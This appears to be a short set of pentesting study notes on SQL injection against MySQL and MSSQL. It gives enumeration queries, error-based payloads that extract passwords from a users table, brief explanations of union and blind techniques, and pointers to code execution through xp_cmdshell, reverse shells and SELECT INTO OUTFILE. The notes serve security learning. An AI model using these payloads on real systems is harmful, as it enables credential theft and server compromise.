SQL Injection

Mysql

select version();
select system_user();
show databases;

MSSQL

SELECT @@version;
SELECT name FROM sys.databases;
SELECT * FROM offsec.information_schema.tables;
select * from offsec.dbo.users;

Manual Exploitation

Error-Based

' or 1=1 in (select @@version) -- //
' OR 1=1 in (SELECT * FROM users) -- //
' or 1=1 in (SELECT password FROM users) -- //
' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //

Union-Based

If we get In-Band SQLi where reesult displayed along with the application returned value, we should try for UNION SQLi attacks to work, which we first need to satisfy two conditions:

  • The injected UNION query has to include the same number of columns as the original query.

  • The data types need to be compatible between each column.

Blind

  • Web app doesn't directly display database reponses.

  • Infer information indirectly by how the web application behaves

Boolean-based Blind SQL Injection The attacker sends SQL queries that evaluate to TRUE or FALSE. Depending on the result:

  • The application behaves differently (e.g., displays or hides content).

  • The attacker can deduce whether a condition is true or false.

Example payload:

Time-based Blind SQL Injection The attacker uses SQL queries that cause delays when a condition is true. By measuring response time, they deduce whether the condition is met.

Example payload:

  • If 1=1 (true), the database waits for 3 seconds before responding.

  • If false, the response is immediate.

This method is slower but can uncover similar information.

Manual Code Execution

MSSQL Code Execution

  • xp_cmdshell take string and passes to command shell for execution

  • disable by default, but administrator can enable

  • Must be called with EXECUTE instead of SELECT

  • After getting cmdshell, can get reverse shell

MySQL Code Execution

  • Abuse SELECT INTO_OUTFILE statement to write files to the web server

Last updated

Was this helpful?